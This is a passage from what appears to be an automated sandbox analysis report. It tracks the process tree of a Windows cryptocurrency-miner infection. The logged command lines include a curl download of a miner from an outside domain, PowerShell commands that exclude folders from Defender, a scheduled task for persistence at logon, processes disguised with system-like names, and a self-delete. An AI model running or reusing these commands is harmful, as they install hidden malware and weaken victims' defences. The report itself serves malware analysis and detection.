Wow64 process (32bit):	false
Commandline:	curl -o miner2.0.exe https://eijfrhegrtbrfcd.online/download/miner2.0.exe
Imagebase:	0x7ff646080000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	11:42:32
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6784, Parent PID: 6700

General

Target ID:	84
Start time:	11:42:32
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	11:42:32
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\miner2.0.exe
Wow64 process (32bit):	false
Commandline:	miner2.0.exe
Imagebase:	0x20000
File size:	45'056 bytes
MD5 hash:	651396CF297F15A1F92EE0A29E27C4EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 00000055.00000002.2682783373.000000000345A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	11:42:33
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	11:42:33
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	11:42:33
Start date:	27/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	11:42:34
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	11:42:33
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7616, Parent PID: 7604

General

Target ID:	91
Start time:	11:42:34
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	11:42:34
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	11:42:35
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 1184, Parent PID: 7724

General

Target ID:	94
Start time:	11:42:35
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	11:42:35
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	11:42:35
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	11:42:36
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	11:42:36
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	100
Start time:	11:42:36
Start date:	27/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	101
Start time:	11:42:37
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	102
Start time:	11:42:37
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	103
Start time:	11:42:37
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	104
Start time:	11:42:37
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	105
Start time:	11:42:38
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Users\user\AppData\Local\Temp\miner2.0.exe"
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	106
Start time:	11:42:38
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	107
Start time:	11:42:38
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\svchost64.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Users\user\AppData\Local\Temp\miner2.0.exe"
Imagebase:	0x10000
File size:	38'400 bytes
MD5 hash:	A8638A5105C9A663B0D6918D64B3AD21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 0000006B.00000000.2677511483.0000000000012000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: C:\Users\user\AppData\Local\Temp\svchost64.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	108
Start time:	11:42:38
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	109
Start time:	11:42:38
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	110
Start time:	11:42:39
Start date:	27/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	111
Start time:	11:42:39
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	112
Start time:	11:42:39
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	113
Start time:	11:42:39
Start date:	27/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	114
Start time:	11:42:39
Start date:	27/09/2024
Path:	C:\Windows\System32\services64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\services64.exe
Imagebase:	0xa80000
File size:	45'056 bytes
MD5 hash:	651396CF297F15A1F92EE0A29E27C4EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	115
Start time:	11:42:39
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	116
Start time:	11:42:39
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	117
Start time:	11:42:39
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 4520, Parent PID: 928

General

Target ID:	118
Start time:	11:42:39
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	119
Start time:	11:42:39
Start date:	27/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	120
Start time:	11:42:40
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	121
Start time:	11:42:40
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	122
Start time:	11:42:41
Start date:	27/09/2024
Path:	C:\Windows\System32\services64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\services64.exe"
Imagebase:	0x420000
File size:	45'056 bytes
MD5 hash:	651396CF297F15A1F92EE0A29E27C4EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 0000007A.00000002.2763019419.000000000340A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	123
Start time:	11:42:41
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe"
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	124
Start time:	11:42:41
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 1988, Parent PID: 4116

General

Target ID:	125
Start time:	11:42:41
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	126
Start time:	11:42:41
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	127
Start time:	11:42:41
Start date:	27/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	128
Start time:	11:42:41
Start date:	27/09/2024
Path:	C:\Windows\System32\choice.exe
Wow64 process (32bit):	false
Commandline:	choice /C Y /N /D Y /T 3
Imagebase:	0x7ff62e2e0000
File size:	35'840 bytes
MD5 hash:	1A9804F0C374283B094E9E55DC5EE128
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	129
Start time:	11:42:41
Start date:	27/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	130
Start time:	11:42:41
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	131
Start time:	11:42:43
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	132
Start time:	11:42:43
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	133
Start time:	11:42:43
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	134
Start time:	11:42:44
Start date:	27/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	135
Start time:	11:42:44
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	136
Start time:	11:42:45
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	137
Start time:	11:42:46
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	138
Start time:	11:42:46
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	139
Start time:	11:42:46
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\svchost64.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Imagebase:	0x5e0000
File size:	38'400 bytes
MD5 hash:	A8638A5105C9A663B0D6918D64B3AD21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	140
Start time:	11:42:46
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	141
Start time:	11:42:46
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	142
Start time:	11:42:47
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	143
Start time:	11:42:47
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	144
Start time:	11:42:47
Start date:	27/09/2024
Path:	C:\Windows\System32\Microsoft\Libs\sihost64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\Microsoft\Libs\sihost64.exe"
Imagebase:	0x370000
File size:	7'680 bytes
MD5 hash:	7112FD4E6B2CDD13C11B8B04A96769CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	145
Start time:	11:42:47
Start date:	27/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	146
Start time:	11:42:48
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
